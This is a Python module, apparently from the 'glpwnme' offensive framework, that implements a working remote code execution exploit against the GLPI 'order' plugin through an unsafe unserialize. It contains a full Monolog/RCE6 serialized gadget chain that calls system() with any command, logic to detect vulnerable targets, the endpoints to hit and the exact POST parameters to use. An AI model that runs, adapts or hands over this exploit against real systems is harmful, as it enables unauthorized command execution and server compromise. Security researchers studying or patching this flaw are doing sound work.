from http import HTTPStatus
from glpwnme.exploits.plugin_exploit import PluginExploit
from glpwnme.exploits.logger import Log

class UNSERIALIZE_ORDER_2022(PluginExploit):
    """
    This CVE abuses an arbitrary unserialize in a plugin named order

    Link: https://github.com/pluginsGLPI/order/blob/2.7.6/ajax/dropdownValue.php
        unserialize from Self-Service
    Link: https://github.com/pluginsGLPI/order/blob/2.10.0/ajax/dropdownContact.php
        unserialize from central access

    @author c3l3si4n
    @cvss 8.6
    @name PLUGIN_ORDER_2022
    """
    min_version = "0.83.3"
    plugin_name = "order"
    min_plugin_version = "1.7.0"
    max_plugin_version = "2.10.1"
    _impacts = "Remote code execution from unserialize"
    _privilege = "User"

    unserialize_endpoints = (
                     "/ajax/dropdownValue.php",
                     "/ajax/dropdownContact.php"
                 )

    def infos(self):
        """
        This method is used to display the information of an exploit.
        This method support rich formatting

        :return: The whole informations about an exploit
        :rtype: str
        """
        infos = "[u]Description:[/u]\n"
        infos += "This exploit abuse a classical [b]unserialize[/b] call.\n"
        infos += "It uses the pop chain 'Monolog/RCE6' from phpggc\n"
        infos += "It requires a central access on the target, which usually means [b]Admin[/b] privileges\n"
        infos += "Or a user access, if the version of the plugin is below 2.7.7\n"

        infos += "\n[u]Params:[/u]\n"
        infos += " - [i]command (default 'whoami')[/i]: The system command to execute on the target\n"

        infos += "\n[u]Usage:[/u]\n"
        infos += "[grey66]# Execute the command `id` on the target[/]\n"
        infos += "--run -O command=id\n"

        infos += "\nExploit is [green b]Safe[/]"
        return infos

    def _plugins_exists(self, endpoint):
        """
        Check if the plugin exists given an endpoint, set the attribute to know that
        the plugin actually exists, and returns it at every other calls

        :return: True if the plugin exists, False otherwise
        :rtype: bool
        :meta: public
        """
        res = self.get(f"/{endpoint}/{self.__class__.plugin_name}/pics/bill-icon.png", allow_redirects=False)
        if res.status_code == HTTPStatus.OK:
            return True
        return False

    @staticmethod
    def _get_datas(endpoint, serialized_payload):
        """
        Return the datas to send for executing payload given the endpoint
        """
        if 'dropdownContact.php' in endpoint:
            return {"entity_restrict": serialized_payload, "suppliers_id": "0", "searchText": "IDONTEXIST"}
        return {"table": "glpi_users", "entity_restrict": serialized_payload}

    def run(self, command="whoami"):
        """
        Run the exploit on the target
        """
        if not self.check():
            Log.err("Target is not vulnerable")
            return False

        target_path = ""
        for end in self.__class__.unserialize_endpoints:
            res = self.plugin_get(end, allow_redirects=False)
            if res.status_code != HTTPStatus.NOT_FOUND:
                target_path = end
                break

        if not target_path:
            Log.err("Target is not vulnerable")
            return None

        Log.msg(f"Using payload [yellow]Monolog/RCE6[/yellow] from [b]phpggc[/b]")
        serialized_payload = b'a:2:{i:7;O:37:"Monolog\\Handler\\FingersCrossedHandler":3:{s:16:"\x00*\x00passthruLevel";i:0;s:9:"\x00*\x00buffer";a:1:{s:4:"test";a:2:{i:0;s:$command_len$:"$command$";s:5:"level";N;}}s:10:"\x00*\x00handler";O:29:"Monolog\\Handler\\BufferHandler":7:{s:10:"\x00*\x00handler";N;s:13:"\x00*\x00bufferSize";i:-1;s:9:"\x00*\x00buffer";N;s:8:"\x00*\x00level";N;s:14:"\x00*\x00initialized";b:1;s:14:"\x00*\x00bufferLimit";i:-1;s:13:"\x00*\x00processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}i:7;i:7;}'
        serialized_payload = serialized_payload.replace(b"$command$", command.encode()).replace(b"$command_len$", str(len(command)).encode())

        Log.msg(f"Sending payload to execute: [blue]system('{command}')[/blue]")
        res = self.plugin_post(target_path, data=UNSERIALIZE_ORDER_2022._get_datas(target_path, serialized_payload))
        if res.status_code != HTTPStatus.OK:
            Log.err(f"Got a bad status code: HTTP {res.status_code}")
        print(res.text)
